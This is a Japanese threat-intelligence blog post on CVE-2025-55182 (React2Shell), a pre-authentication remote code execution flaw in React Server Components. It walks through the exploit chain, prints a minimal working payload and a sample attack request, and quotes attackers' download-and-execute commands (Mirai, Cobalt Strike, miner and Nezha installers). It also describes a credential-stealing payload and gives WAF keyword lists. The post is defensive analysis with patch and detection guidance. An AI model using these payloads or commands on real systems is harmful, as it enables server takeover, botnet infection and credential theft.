Skip to main content
Return to TrendAI™ セキュリティブログ
脆弱性とエクスプロイト

React2Shell「CVE-2025-55182」の分析、PoCを巡る混乱と悪用の広がり

脆弱性「CVE-2025-55182」は、React Server Components に影響する、CVSS 10.0の事前認証型リモートコード実行の脆弱性です。多数に及ぶ偽の概念実証(PoC:Proof-of-Concept)、スキャナー、攻撃コード、誤解があふれる状況の中で、本稿ではこれらの実態について解説します。

ニュースエクスプロイトとゼロデイリサーチ特集

Key Takeaways

  • この攻撃はJavaScriptのダックタイピングと動的コード実行の特性を利用するもので、4つの段階を踏みます。自己参照ループの生成、JavaScriptに攻撃者コードを呼び出させる誘導、初期化用の不正データ注入、Blob Handlerを介した任意コード実行という流れになります。
  • 現時点で、実環境で約145件のPoCベースの攻撃コードが確認されています。品質はさまざまで、WAF回避や自動スキャンといった機能を備えたものも含まれています。
  • トレンドマイクロの調査では、CVE-2025-55182がすでに悪用されており、emeraldやnutsを含む複数のマルウェアキャンペーンで利用されています。Cross C2で生成されたCobalt Strikeビーコンの実行、Nezha、Fast Reverse Proxy(FRP)、Sliverペイロード、Secret-Hunterペイロードの展開などが観測されています。
  • トレンドマイクロの調査では、パッチ状況や概念実証(PoC: Proof of Concept)の動向を整理し、React2Shellに関する誤解を修正する情報を提供しています。防御が機能しない構成を避けるうえで重要な点に加えて、CVE-2025-55182に関する不安や誤情報の拡散を抑えることを意図しています。公開されたインフラやウェブサイトに対し、バグバウンティハンター(脆弱性を探索する調査者)による集中的なスキャンが行われる可能性を想定する必要もあります。
  • Trend Vision Oneは、本稿で紹介した侵入の痕跡(Indicators of Compromise: IoC)を検出し攻撃を阻止します。トレンドマイクロのお客様は、攻撃者の挙動を理解してプロアクティブに備えるためのハンティングクエリ、スレット(脅威)インサイト、インテリジェンスレポートを利用できます。

トレンドマイクロのお客様は、利用可能な対策や緩和方法について、ナレッジベースの記事を参照できます。

https://success.trendmicro.com/en-US/solution/KA-0021831

はじめに

脆弱性「CVE-2025-55182」について前回の記事では、企業や組織が把握すべき内容をまとめています。この脆弱性はすでに悪用されており、React.js、Next.jsなどの関連フレームワークで利用されるReact Server Components(RSC)に影響を与える重大な事前認証型リモートコード実行脆弱性(CVSS 10.0)です。

RSCは、UIコンポーネントをブラウザではなくサーバ側で実行する仕組みで、クライアントに送信するJavaScriptを減らす設計となっています。

RSCはクライアントとサーバの間で「React Flight」と呼ばれるシリアライズ方式を使って通信します。この方式は、Reactコンポーネントツリーを反映した複雑なデータ構造をストリーミングする仕組みを持ち、バックエンドの応答を待ちながら段階的にUIを描画できるようにします。これらをまとめてRSCペイロードと呼ぶことができます。HTTP上でのRPCのような仕組みと考えると分かりやすく、クライアントはシリアライズされたデータの「チャンク」をサーバ関数に送信します。

RSCアプリでユーザがフォームを送信すると、ブラウザはフォームデータを番号付きのチャンクとしてまとめ、互いを参照し合う構造にします。サーバ側はこれらのチャンクを再構成し、ユーザが何を要求したのかを理解します。

# Example: User profile update sent as Flight chunksform_data = {"0": (None, '["$1"]'), # Entry point → load chunk 1"1": (None, '{"action":"updateProfile","user":"$2"}'), # Action → load user from chunk 2"2": (None, '{"userId":42,"email":"user@example.com"}'), # Actual user data}# Server processes: chunk 0 → chunk 1 → chunk 2, assembling the complete request

「Flight」はさまざまなデータ型を表現するために、「$X」という特別なプレフィックスを使用します。脆弱性はこの部分に存在します。問題は、サーバがクライアントから受け取ったデータを逆シリアル化する処理に影響します。攻撃者は不正なデータを送り込み、認証が行われる前にサーバ側で任意のコードを実行できる状態を作り出します。

t1
表1. Flightプロトコルのプレフィックスとセキュリティリスク

RSCがクライアントからのデータを受け取る際には、「このオブジェクトのプロパティは実際にそのオブジェクト固有のものか、それともJavaScriptの組み込みプロトタイプから継承されたものか」を確認する必要があります。脆弱なコードは、この確認を信頼できないオブジェクト自身に問い合わせていました。侵入者に「あなたはこの家にいるべき人ですか」と尋ねるような状態です。

脆弱性はReactの「ReactFlightReplyServer.js」内にあるreviveModel関数に存在します。参照解決のためにチャンクをたどる処理の中で、参照されるキーがオブジェクト自身のプロパティか、あるいは継承されたプロトタイプのプロパティなのかをReactが正しく判別できていませんでした。問題のあるコードパスは次に示すとおりです。

for (i in value)value.hasOwnProperty(i) &&

JavaScriptでは、すべてのオブジェクトが「Object.prototype」を継承しており、「hasOwnProperty」、「constructor」、「toString」といったメソッドを含みます。通常は安全に扱われますが、値を攻撃者が制御できる状況では、hasOwnPropertyを不正な処理に置き換えることが可能となり、セキュリティチェックを完全に回避できます。

問題となった箇所は、「value.hasOwnProperty(i)」が信頼されていない値オブジェクトに対してメソッド検索を行う点にあります。攻撃者が用意したペイロードは、このプロパティを悪意ある参照で上書きし、所有権チェックを素通りさせることができます。この挙動により、「constructor」や「__proto__」といったプロトタイプチェーン上のプロパティへのアクセスが可能になりました。

このエクスプロイトは複数の鍵が順に開けられていくような流れで成立しました。攻撃チェーンの各段階が、攻撃者を任意コード実行へ一歩ずつ近づける仕組みになっていました。次のセクションでは、それぞれの「鍵」がどのように開けられたのかを説明します。

React2Shellの攻撃チェーン

このエクスプロイトは、JavaScriptのダックタイピングと動的コード実行の特性を利用し、4つの段階から成る攻撃手法となっています。このチェーンは、他の研究者によってGitHub上で個別に整理されており、内容はこちらこちらから確認できます。

Stage 1: 自己参照ループの生成

チャンク同士を自己参照させることでJavaScriptの内部オブジェクトにアクセスするために、$@プレフィックスは解析済みの値ではなく生のチャンクオブジェクトを返します。チャンク1が「チャンク0の生のオブジェクトを取得する」($@0)と指示し、チャンク0がチャンク1を参照すると、循環構造が成立します。

attack_payload = {"0": '{"callback": "$1:__proto__:then"}', # Chunk 0 reaches into chunk 1's prototype"1": '"$@0"',}

「$1:__porto__function Object() { [native code] }constructor」という参照をたどることで、攻撃者はJavaScriptのプロトタイプチェーンを上方向に進むことができます。チャンク1 → Object.prototype → Objectコンストラクタ → Functionコンストラクタという流れです。この到達によって、任意の関数を生成できる状態になります。

Stage 2: JavaScriptに攻撃者コードを呼び出させる

JavaScriptに攻撃者が制御するコードを自動的に実行させるために、JavaScriptのawaitキーワードは「.then()」メソッドを持つオブジェクトを検出すると自動的にそれを呼び出します。攻撃者は「then」をReact内部の「Chunk.prototype.then」に向けることで、この仕組みを乗っ取ります。

Reactがこの不正なチャンクを処理する際、thenプロパティを確認すると「Promise」のように扱います。React内部のコードは「initializeModelChunk()」を呼び出し、次のステップに進みます。

Stage 3: 初期化のための不正データ注入

Reactのコード初期化処理に攻撃者のペイロードを流し込むために、「resolved_model」というステータスが設定されます。この状態が設定されるとReactは「.value」フィールドを解析し、処理を行います。攻撃者はこの部分に自分のペイロードを置きます。

function initializeModelChunk(chunk) {var rawModel = JSON.parse(chunk.value);}

Reactは「status」フィールドを信頼します。「status」が「resolved_model」と示されている場合、Reactはチャンクが準備済みと判断し、その内容を解析します。ここには不正な参照が含まれています。

Stage 4: Blobハンドラを介した任意コード実行

参照の解決を実際のコード実行に変えるために、「$B」プレフィックスはReactのBlobハンドラを起動し、制御可能なオブジェクトに対して「.get()」メソッドを呼び出します。攻撃者は「_formData.get」を「Function」コンストラクタに向けます。

case "B":return response._formData.get(response._prefix + obj);

攻撃者はペイロードを調整し、この呼び出しが次のような形になります。

Function("require('child_process').execSync('id');//0")()

Reactは文字列の末尾にチャンクIDを追加しますが、「//」がJavaScriptのコメントとして扱われるため、その後ろは無視されます。サーバは攻撃者のシェルコマンド(id、wget、その他任意のコマンド)を「Node.js」の完全な権限で実行する状態になります。

最小限のエクスプロイト

このセクションでは、複雑な準備を必要とせず、単一のHTTPリクエストだけで悪用が成立することを示します。

完全なペイロードは「_proto_」へのアクセスを必要としません(広く出回っているPoCベースの攻撃コードの多くが使用している手法とは異なります)。

{0: {status: "resolved_model",reason: -1,_response: {_prefix: "console.log('RCE')//",_formData: { get: "$1:then:constructor" },},then: "$1:then",value: '{"then":"$B"}',},1: "$@0",}
t2
表2. ペイロードの構成要素
  • 「$1:then:constructor」パスの仕組み:
    • $1 → チャンク1へ移動します(チャンク1はチャンク0を参照しています)
    • :then → thenプロパティ(関数)にアクセスします
    • :constructor → その関数のconstructorを取得します → Function

「then」は関数であるため、その「.constructor」は「Function」そのものになります。これは任意のコードを作成し実行できるJavaScriptの組み込みコンストラクタです。

事前認証段階でのアタックサーフェス(攻撃対象領域)

この脆弱性が非常に深刻といえる理由は、サーバアクションの検証が行われる前、逆シリアル化の段階で悪用が成立する点にあります。Next-Actionヘッダーの値を任意に設定するだけで(「Next-Action: foo」のような内容でも)、脆弱なコードパスが実行されます。Facebookのセキュリティアドバイザリによると、影響は次のとおりです。

  • 事前認証RCE: 資格情報は不要
  • Node.jsコンテキストでの実行: process、child_process、filesystemへのフルアクセス
  • 環境変数の取得: データベース認証情報、APIキー、シークレット
  • 水平移動・内部活動: クラウドメタデータエンドポイント、内部ネットワークへのアクセス

実環境での観測活動

このセクションでは、実際に確認された攻撃についてまとめています。企業は、侵入の痕跡(Indicators of Compromise: IoC)表を利用して自社の脅威フィードを更新し、タイムラインを参考に攻撃が行われた期間に自組織が曝露していた可能性を評価できます。

1
図1. CVE-2025-55182に関連する活動における観測された攻撃チェーンの対応関係

トレンドマイクロのテレメトリによると、2025年12月5日から12月8日にかけて、攻撃試行が顕著に増加しました。脆弱性の公開から24時間以内に複数の異なるキャンペーンが出現しています。コミュニティ主導のペネトレーションテストも大幅に増加しており、正当なPoCと不正確なPoCの双方を含むNucleiテンプレートの使用が拡大しています。また、MiraiやRondoなど、CVE-2025-55182を活用するマルウェアボットネットの増加も確認されています。

emeraldとnutsの攻撃キャンペーン

両キャンペーンは特定の対象に絞られたものではなく、機会的な攻撃と考えられます。クラウド基盤(Vercel、AWS、GCP)に対するスキャンが大量に行われており、地域や業種に特化した狙いは見られません。スキャナーを用いた自動化された大規模な攻撃も確認されています。両キャンペーンはいずれも主にx86アーキテクチャを標的としています。キャンペーン名は、使用されていたURLの一部に基づいて命名しています。

emerald

共有ホスティングからカスタムボットのバイナリをダウンロードして実行するRCEペイロードが確認されました。

process.mainModule.require('child_process').execSync('cd /tmp; wget hxxp://gfxnick[.]emerald[.]usbx[.]me/bot; chmod 777 bot; ./bot...'

このキャンペーンは「usbx.me」の共有ホスティング基盤を利用してカスタムボットのバイナリを配信しており、高度な攻撃者ではない可能性が示唆されます。

nuts

「reactOnMynuts」という固有識別子を持つMirai亜種をダウンロードして実行するRCEペイロードが確認されました。

process.mainModule.require('child_process').execSync('(cd /dev;busybox wget hxxp://193[.]34[.]213[.]150/nuts/x86;chmod 777 x86;./x86 reactOnMynuts;busybox wget -q hxxp://193[.]34[.]213[.]150/nuts/bolts -O-|sh)'

別の手法として、シェルスクリプト経由でMirai亜種をダウンロードする方式も利用されています。

curl -s hxxp://193[.]34[.]213[.]150/nuts[.]sh | bash

このキャンペーンはMiraiベースのボットネット亜種を展開しており、複数のダウンロードおよび実行手法を組み合わせています。「reactOnMynuts」という識別子は、追跡またはコマンド実行の目的で使用されていると考えられます。

Cobalt Strikeビーコン

Linuxホストの一部で、攻撃者が脆弱性を悪用し、CrossC2で生成されたCobalt Strikeビーコンを実行する事例が確認されました。CrossC2はCobalt Strike向けにクロスプラットフォームのペイロードを生成するツールです。

攻撃の初動として、攻撃者はC&Cサーバ(154.89.152.240)からbashスクリプトを取得するために「curl」を使用しています。bashスクリプトは実行ファイルであるCobeaconをダウンロードして実行し、永続化のために「systemd」サービスを作成します。このサービスは「Rsyslog AV Agent Service」と名乗っています。スクリプトにはAIが生成した可能性のあるコードパターンが見られ、中国語の区切り線付きコメントや、明らかに説明不要な内容を詳細に解説するコメント、さらに中国語の記述と英語の変数名が混在するなど、AI翻訳/生成でよく見られる特徴があります。

2
図2. AIによって生成された可能性のあるコード

検証ロジックにはさらにAI生成コードの兆候が確認できます。攻撃者がAIにSHA-256チェックを付け加えるよう依頼した形跡がありますが、実行フローの再構成が行われていないため、ハッシュ検証が実行前ではなく実行後に行われています。また、SHA256_64とSHA256_32の値が空のまま残されており、中国語のコメントに「例: abcdef1234…」と記載されていることから、置き換えられなかったプレースホルダーであると推測されます。

3
図3. AIによって生成された可能性のあるコード

最終的に、ビーコンは「/usr/local/rsyslo(root権限がある場合)」または「$HOME/.rsyslo」に配置されます。

Nezha監視ツール

攻撃者がNezhaを展開している事例も確認しています。Nezhaは中国発のオープンソースサーバ監視プラットフォームで、攻撃者はGitHubからインストーラを取得し、次のコマンドで実行しています。

/bin/sh -c curl -L https://raw.githubusercontent.com/nezhahq/scripts/main/agent/install.sh -o agent.sh && chmod +x agent.sh && env NZ_SERVER=107.174.123.91:11451 NZ_TLS=false NZ_CLIENT_SECRET=[REDACTED] ./agent.sh

このワンライナーはインストーラをダウンロードし、実行可能にし、以下の設定で起動します。

  • NZ_SERVER=107.174.123.91:11451. エージェントが接続するコントローラーのアドレスとポート
  • NZ_TLS=false. トランスポート暗号化を無効化(通信が平文で送信される)
  • NZ_CLIENT_SECRET. ホストをコントローラーに紐づける登録トークン

インストーラは通常、エージェントのバイナリを配置し、永続化のためのシステムサービス(「nezha-agent.service」など)を登録します。これにより、ホストは長期間にわたりコントローラーへの外向き接続を維持します。エージェントはCPU、メモリ、ディスク、稼働時間、ネットワーク統計、さらに「healthcheck」の結果などを定期的に送信します。

Nezha自体は本来無害なツールですが、このケースでは隠密なインストール、直接IPの使用、TLSの無効化、あらかじめ設定されたシークレットが用いられている点から、正規の監視ではなく、監視と継続的な可視化を目的として展開された可能性が高いと考えられます。

Huntressは以前から、中国関連の脅威アクターによるNezhaの利用を観測しています。Huntressの公開情報によると、これらのアクターは公開Webアプリケーションを悪用し、Webサイトの改ざん、初期アクセスの獲得、標的型攻撃などの目的でNezhaを使用するケースがあります。ただし今回の侵害に関して、最終的な目的を特定できるだけの十分な証拠は得られていません。

高速リバースプロキシ(Fast reverse proxy)

別の試行として、攻撃者はFRP(Fast Reverse Proxy)と呼ばれるツールの展開を試みています。このケースでは、攻撃者が次のコマンドを実行した時点から感染が開始されました。

wget -qO- hxxp://38.165.44[.]205/s | sh.

このスクリプトは、正規のNTPクライアントを装う「ntpclient」というバイナリを「hxxp://38.165.44.205/1」からダウンロードして実行し、設定ファイルも同様に取得します。実行時の出力はすべて抑制され、バックグラウンドで動作します。また、永続化を確立するために複数のレイヤーで仕込みを行います。root権限がある場合はsystemdサービス、「crontab @reboot」ジョブ、さらに「.bashrc」や「.zshrc」といったシェルのRCファイルへコマンドを挿入します。

スクリプトは開始前に既存の同名プロセスを停止し、ダウンロードしたファイルに適切な権限を付与し、「systemd-utils」や「System Utils Service」といった紛らわしい名称を使用して、正規のシステムコンポーネントのように見せかけています。

4
図4. RFPインストール用スクリプト

Sliver C&C

攻撃者はReact2Shell脆弱性を悪用し、SliverペイロードをLinuxホストに展開する手法も確認されています。あるケースでは、脆弱性の悪用後、攻撃者がC&CサーバからSliverペイロードを取得するために次のコマンドを使用しました。永続化を図るため、このファイルは「/root/.rtos」、「/dev/shm/rtos」、「/tmp/rtos」の3か所に保存されています。

curl -vk hxxps://216.238.68[.]169/ReactOS -o /root/.rtos

この活動に続いて、base64でエンコードされたコマンドが実行され、「78.153.140.16/re.sh」にホストされたスクリプトをダウンロードして実行しました。このスクリプトは競合するマルウェアや正規のプロセスを停止し、暗号通貨マイナーとKINSINGを「78.153.140.16」から取得して実行します。さらに、systemdサービスやcronジョブを利用して永続化を確保し、bash履歴を削除して痕跡を隠そうとします。

このスクリプトは、マイニングの妨げとなる可能性のあるプロセス(他のマイナーやセキュリティツールを含む)を集中的に標的とします。また、root権限の有無に応じて、「/etc」、「/tmp」、「/var/tmp」、「/dev/shm」といった複数のパスへインストールを試みます。

攻撃者が制御を維持するために、既存のcronジョブを削除し、「80.64.16.241」から毎分ペイロードを再ダウンロードさせる独自のジョブを設定します。さらに、防火壁()を無効化し、ファイルのimmutabilityフラグを除去し、「/etc/ld.so.preload」を介してKINSINGによる不正な共有ライブラリ「libsystem.so」をプリロードし、より深いレベルでシステムにフックしようとします。

Go製バックドア

複数の顧客環境で、Go言語で書かれた不審なバックドアが確認されました。主要な悪意ある機能として、「pty」ライブラリを用いたリバースシェルの提供、ネットワーク横移動のためのSOCKS5プロキシとしての動作、システム偵察の実行が挙げられます。C&CサーバとはHTTP POSTリクエストで通信し、活動を隠す目的でシェル履歴の削除を試みます。ハードコードされたRSA公開鍵が存在し、C&C通信で非対称暗号が利用されている可能性が示唆されます。このバックドアは45.76.155.14でホストされ、C&Cサーバとして「api.qtss.cc」を使用していました。

Windowsに対する攻撃試行

スレット(脅威)ハンティングの過程で、Windowsデバイスを対象とした攻撃試行が確認されました。多くの場合、実際にはスキャン行為に近く、コマンドはUnix/Linuxホストを対象とした暗号通貨マイナーの展開を目的としたものでした。

Moneroマイナーの展開に成功したケースでは、攻撃者がReact2Shell脆弱性を悪用し、PowerShell経由でbase64エンコードされたコマンドを実行していました。復号されたコマンドは次のとおりです。

$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.bat', $tempfile); & $tempfile [REDACTED]; Remove-Item -Force $tempfile

ただし、少なくとも2件の事例では、攻撃が成功し、不審なDLLの展開に至ったことが確認されています。攻撃者は「curl」を使用してC&Cサーバ「2.56.176.35:443」に接続し、「healthcheck.dll」というファイルをダウンロードし、ステージングディレクトリ「C:\Users\Public\Documents」に保存しました。その前段として、「whoami」などの調査コマンドを実行し、Microsoft Defenderの設定を収集し、除外設定を構成しています。残念ながら、このDLLは分析用に取得できませんでした。

「Secret-Hunter」ペイロード

攻撃者はCVE-2025-55182を用いてRCEを達成すると、永続化の確立やデータ窃取を進めようとします。この過程で確認された特定の「Node.js」ペイロードについても分析を行いました。このスクリプトは特徴的で、サーバを侵害する目的でセキュリティ監査ツールのインストールを自動化する仕組みを備えています。

Cloudflareトンネル経由のC&C

このスクリプトはCloudflare Tunnels(trycloudflare.com)を利用し、ファイアウォールのアウトバウンド制御を回避します。

  • 観測されたC2エンドポイント: \ hxxps://conclusion-ideas-cover-customise.trycloudflare.com
  • メカニズム: データをクリーニングし、JSONシリアライズしたうえで、このエンドポイントにPOSTします。

TruffleHogとGitleaksの武器化

このペイロードで最も特異な点はこの部分です。独自の正規表現だけに頼るのではなく、業界標準のシークレットスキャンツールをダウンロードしてインストールします。

  • TruffleHog: 公式インストールスクリプト、GitHubリリースからの直接バイナリ取得、brew、pipなど複数の方法でTruffleHogの導入を試みます。
  • Gitleaks: TruffleHogの導入に失敗した場合、代替としてGitleaksのインストールを行います。

インストール後、攻撃者はこれらのツールを侵害されたサーバのファイルシステムに対して実行します。対象は次のとおりです。

  • Gitリポジトリ: コミット履歴に埋もれたシークレットのスキャン
  • Dockerイメージ: ローカルコンテナレイヤーの解析
  • S3バケット: 発見したAWS認証情報を利用し、ホストからアクセス可能なS3バケットを列挙してスキャン
  • ディレクトリ: /tmp、/var/www、/opt、/etc およびユーザのホームディレクトリ

クラウドメタデータ収集

スクリプトはクラウドインスタンスのメタデータサービス(IMDS)を対象に、短期認証情報の窃取を積極的に試みます。問い合わせ対象は次のとおりです。

発見されたIAMロールを順に処理し、AccessKeyId、SecretAccessKey、Tokenを取得します。

ターゲット型ファイル流出

マルウェアには100件以上の機密性の高いファイルパス(commonSensitiveFilesおよびsystemSensitiveFiles)がハードコードされており、特に次の種類のファイルを探索します。

  • SSH鍵: id_rsa、known_hosts
  • クラウド設定: .aws/credentials、.kube/config、.azure/accessTokens.json
  • シェル履歴: .bash_history、.zsh_history(パスワードが貼り付けられている場合がある)
  • CI/CD設定: GitHub Workflows、GitLab CIファイル

追加ペイロード

このスクリプトは後続ステージのドロッパーとして動作し、次の場所からシェルスクリプトの取得を試みます。

  • ドメイン:\ proxy1.ip2worlds.vip
  • IPFSゲートウェイ:\ bafybeic6wxbl5h5adfuuh5r7n5vdbjwiy4w7zw42yb3tclutq6lscyefcm.ipfs.dweb.link

攻撃発生のタイムライン

このセクションでは、CVE-2025-55182が公開されてからの経緯と、その後に観測および報告された実環境での悪用について整理しています。このタイムラインはCISA KEVOpenWall disclosure、トレンドマイクロのテレメトリに基づいて構築しました。

t3
表3. CVE-2025-55182公開以降に観測された悪用と関連イベントのタイムライン

パッチ分析

悪用が継続している状況では、組織にとってパッチ適用が脆弱性を確実に解消することが重要になります。このセクションでは公式修正の技術的な内訳を示します。特定のコミットとその作者の特定、Reactコードベース全体での変更ファイルの把握、「hasOwnProperty.call()」パターンが攻撃をどのように防ぐのかの解説、追加保護を提供する複数の防御レイヤーの整理を行います。最後に、ReactおよびNext.jsの修正版リストを掲載し、復旧時にすぐ参照できるようにしています。

修正コミットの詳細

コミットメッセージでは、この修正は「ReactFlightClient」の修正を「FlightReplyServer」へ反映するものであり、PR#29823および#33664に関連していると説明されています。単独の1行修正ではなく、主要ファイルである「ReactFlightReplyServer.js」では592行の追加と223行の削除が行われています。

変更されたファイル

t9

コア修正

脆弱箇所(Vulnerable Location):

ReactFlightReplyServer.js:929-933

修正では、モジュール読み込み時に元の「hasOwnProperty」メソッドへの参照をキャッシュしています。

hasOwnProperty = Object.prototype.hasOwnProperty,

その後、逆シリアル化の処理全体で「.call()」構文を使用します。

function reviveModel(value) {for (i in value)- value.hasOwnProperty(i) &&+ hasOwnProperty.call(value, i) &&// ... process property}

脆弱なパターンである「value.hasOwnProperty(i)」は、信頼されていないvalueオブジェクト上でメソッド検索を行います。攻撃者がvalueを制御できる場合、「hasOwnProperty」プロパティを任意の値で上書きすることができ、「Function」コンストラクタへの参照に置き換えることさえ可能になります。

修正が有効な理由は次のとおりです。

  • Captured reference:「hasOwnProperty」変数には、信頼されていないデータが処理される前の段階で、「Object.prototype.hasOwnProperty」が格納されます。
  • .call() invocation:「.call(value, key)」を使用することで、どの関数を実行するか明示的に指定し、プロパティ検索を完全に避けることができます。
  • Immutable binding:逆シリアル化されたペイロードからは、モジュールレベルの変数を改変できません。

この方法は、MDNで説明されている標準的な防御パターンに該当します。

// UNSAFE - attacker can shadow hasOwnPropertyobj.hasOwnProperty('key')// SAFE - uses original prototype methodObject.prototype.hasOwnProperty.call(obj, 'key')// ALSO SAFE - modern alternative (ES2022)Object.hasOwn(obj, 'key')

protoプロパティの明示的処理

パッチでは、コンパイル後コードの4619行目で「__proto__」プロパティの明示的処理も追加されています。

void 0 !== parentObj || "__proto__" === i? (value[i] = parentObj): delete value[i]

これにより、「__proto__」がオブジェクト自身のプロパティとして現れた場合(「JSON.parse」では可能)、それが明示的に処理され、「Object.prototype」に影響を与えないよう保証されます。

多層防御策

コア修正に加えて、修正版には複数の追加的な防御レイヤーが組み込まれています。

サーバモジュールマップのProxy( action-utils.js:27–37 )

サーバアクションのマニフェストでは、プロトタイプキーに対して安全にundefinedを返すProxyが使用されています。

function createServerModuleMap({ serverActionsManifest }) {return new Proxy({}, {get: (_, id) => {const workers = serverActionsManifest['node']?.[id]?.workers;if (!workers) {return undefined; // Safe default for unknown keys}// ...}});}

AES-256-GCM暗号化( encryption-utils.js )

サーバアクションのバインド引数は暗号化されており、アクションIDのプレフィックス検証が行われます。

if (!decrypted.startsWith(actionId)) {throw new Error('Invalid Server Action payload: failed to decrypt.');}

クライアント側のプロトタイプ検証

クライアントはシリアル化前にオブジェクトのプロトタイプを検証します(614–626行)。

parentReference = getPrototypeOf(value);if (parentReference !== ObjectPrototype &&(null === parentReference ||null !== getPrototypeOf(parentReference))) {throw Error("Only plain objects, and a few built-ins, can be passed to Server Functions...");}

セキュアなデータ構造

内部ストレージには、プロトタイプ汚染の影響を受けないES6コレクションが使用されています。チャンク保存には「Map」、書き込み済みオブジェクトには「WeakMap」、フォーム処理には「FormData」が用いられています。

修正されたバージョン

t4
表4. Next.jsとReactのパッチ適用バージョン

出典: Next.js Releases, React Releases

ペネトレーションテスト

Nucleiテンプレート、自作スキャナー、PoC、各種エクスプロイトが広く使われる状況の中で、トレンドマイクロの調査では、多数のバグ報奨金ハンターが脆弱なReactアプリケーションを探して大規模スキャンを実行している様子が確認されました。

企業は、インターネットからアクセス可能なインフラやウェブサイトなどに対して、集中的なスキャンが行われる状況を想定し、準備する必要があります。

PoC状況分析

実環境で確認された概念実証(PoC: Proof of Concept)は約145件存在します。ただし品質にはばらつきがあり、多くはReact2Shell脆弱性そのものを実際には引き起こしません。

これらのPoCは次のような要素を利用するケースが多く見られます。

  • GUIを備えたスキャナーツール
  • マルチスレッドのバッチスキャナー
  • WAF回避手法

防御側としては、近い将来および今後も、機会的なスキャナーによる大規模スキャンが自組織ネットワークに対して行われる前提で準備を進める必要があります。

こちらの表5は、トレンドマイクロの研究者およびサイバーセキュリティコミュニティによって有効性が確認されており、ターゲットを絞ったペネトレーションテストに利用できます。

偽PoCおよびバックドア付きPoCへの警告

CVE-2025-55182向けのスキャナーを実行する前に、セキュリティチームは必ずこのセクションにある「検証済みの正当なPoC一覧」で照合することが推奨されます。偽のツールはマルウェア拡散に悪用される可能性があり、次のような事態を引き起こす、または誘発します。

  • 誤った安全性認識:偽スキャナーが「非脆弱」と誤判定し、実際には脆弱なままになる
  • 認証情報の窃取:多くの偽ツールはAPIキーやクラウド認証情報、ターゲットリストを収集する
  • サプライチェーン攻撃:バックドア付きツールがスキャン基盤に永続化を仕込む
  • 攻撃者による偵察:ユーザのターゲットリストが攻撃者のターゲットリストに変わる
  • 時間の浪費。防御側が動作しないツールに時間を費やしている間に、実際の悪用が進行する

検証済み・正当なPoC一覧としてこちらの表6を参照ください。

トラフィック分析

このセクションでは、すぐに導入可能な検知ルールを示します。Snort/SuricataおよびSigmaのルールは、そのままSIEM/IDSにコピーして利用できます。侵入の痕跡(Indicators of Compromise: IoC)パターン表では、ログ中で注視すべきポイントを明確に示しています。

ペイロード構造

悪用トラフィックは次のパターンに従います(lachlan2k PoCを基にしています)。

POST /api/actions/vulnerable-endpoint HTTP/1.1Host: target[.]example[.]comContent-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gWNext-Action: abc123def456------WebKitFormBoundary7MA4YWxkTrZu0gWContent-Disposition: form-data; name="1_$ACTION_ID_abc123"["$@1",{"1":"$@2","2":"$@3"}]------WebKitFormBoundary7MA4YWxkTrZu0gW--

CVE-2025-55182: IOCパターン

t7
表7. CVE-2025-55182に関するIoCパターン

誤情報の整理

このセクションでは、CVE-2025-55182に関するセキュリティチームの評価でよく見られる五つの誤解を取り上げます。誤った理解に基づいて緩和策を講じると、防御が不十分になったり、誤った安心感を生む可能性があります。正確な認識を持つことが極めて重要です。

t8
表8. CVE-2025-55182に関する一般的な誤解

誤解1: 「これはプロトタイプ汚染の脆弱性である」

この理解は単純化しすぎており、誤った防御策につながる恐れがあります。

公開されているPoCの多くは 「__proto__」を利用していますが、これは「Function」コンストラクタへアクセスするための経路の一つにすぎません。実際の問題は、「Object」プロトタイプに属する「constructor」のようなJavaScriptプロパティに、不正なチャンク経由でアクセスできてしまう点にあります。

両者の違いは重要です。

  • プロトタイプ汚染(厳密な定義):「global Object.prototype*」に悪意あるプロパティを注入し、実行時のあらゆるJSオブジェクトを汚染する手法。この攻撃は通常、「__proto__」や「prototype」といった特定プロパティへのアクセスを必要とします。
  • 今回の脆弱性:すべてのオブジェクトが継承しているプロトタイプチェーン上のプロパティ「constructor, then*」を、チャンク参照によってたどれる点に問題があります。

特に重要なのは、最小限の悪用ペイロードでは 「__proto__」 や「prototype」が不要であるという事実です。

したがって、WAFでこれらのキーワードをブラックリスト登録しても、防御にはなりません。

maple3142の最小ペイロードがこの点を示しています。このペイロードは「__proto__」を使用せず、次のように 「$1:then:constructor」を用いています。

// Source: https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3{_formData: { get: "$1:then:constructor" },then: "$1:then"}

誤解2: 「影響を受けるのはNext.jsだけである」

React Security Advisoryにもあるように、脆弱性はReactのコアであるFlightプロトコル関連パッケージに存在します。

  • react-server-dom-webpack
  • react-server-dom-turbopack
  • react-server-dom-parcel

React Server Componentsを利用するあらゆるフレームワークが影響を受ける可能性があり、独自実装も例外ではありません。

誤解3:「__proto__」をWAFでブロックすれば防げる」

先述の通り、最小限の悪用ペイロードは「__proto__」を必要としません。WAFをすり抜ける手法も多数確認されています。

効果的なWAFルールでは次の項目をブロックする必要があります。

  • $@ チャンク参照
  • resolved_model 文字列
  • constructor:constructor パターン
  • _formData.get パターン

誤解4:「Edge Runtimeも脆弱である」

Vercelドキュメントによると、この脆弱性は「Node.js」ランタイムを前提としています。Edge Runtime(Cloudflare Workers、Vercel Edge)はV8 isolatesを使用し、「process」、「child_process」、その他Node.js APIへのアクセスがありません。Edge Runtimeのみで稼働しているアプリケーションは、この攻撃ベクトルでは悪用不可能です。

誤解5:「Reactのパッチ適用だけで十分である」

この理解は部分的に正しいものの、十分ではありません。Reactをパッチすることで根本原因は解消されますが、組織として次の対応も必要になります。

  • Server Actionがどの程度露出しているかの監査
  • レートリミットの導入
  • 多層防御としてのWAFルール追加
  • 過去の悪用を確認するログ調査
  • 機微なエンドポイントをEdge Runtimeへ移行する検討

Next.jsとReact Server Componentsの影響範囲

Next.js

  • App Routerを利用したReact Server Componentsを含むアプリケーションは、以下のNext.jsバージョンで影響を受けます。
    • Next.js 15.x
    • Next.js 16.x
    • Next.js 14.3.0-canary.77 以降のcanaryリリース
  • react-server-dom-webpack
    • 19.0.0
    • 19.1.0 – 19.1.1
    • 19.2.0
  • react-server-dom-parcel
    • 19.0.0
    • 19.1.0 – 19.1.1
    • 19.2.0
  • react-server-dom-turbopack
    • 19.0.0
    • 19.1.0 – 19.1.1
    • 19.2.0
  • 即時対応:
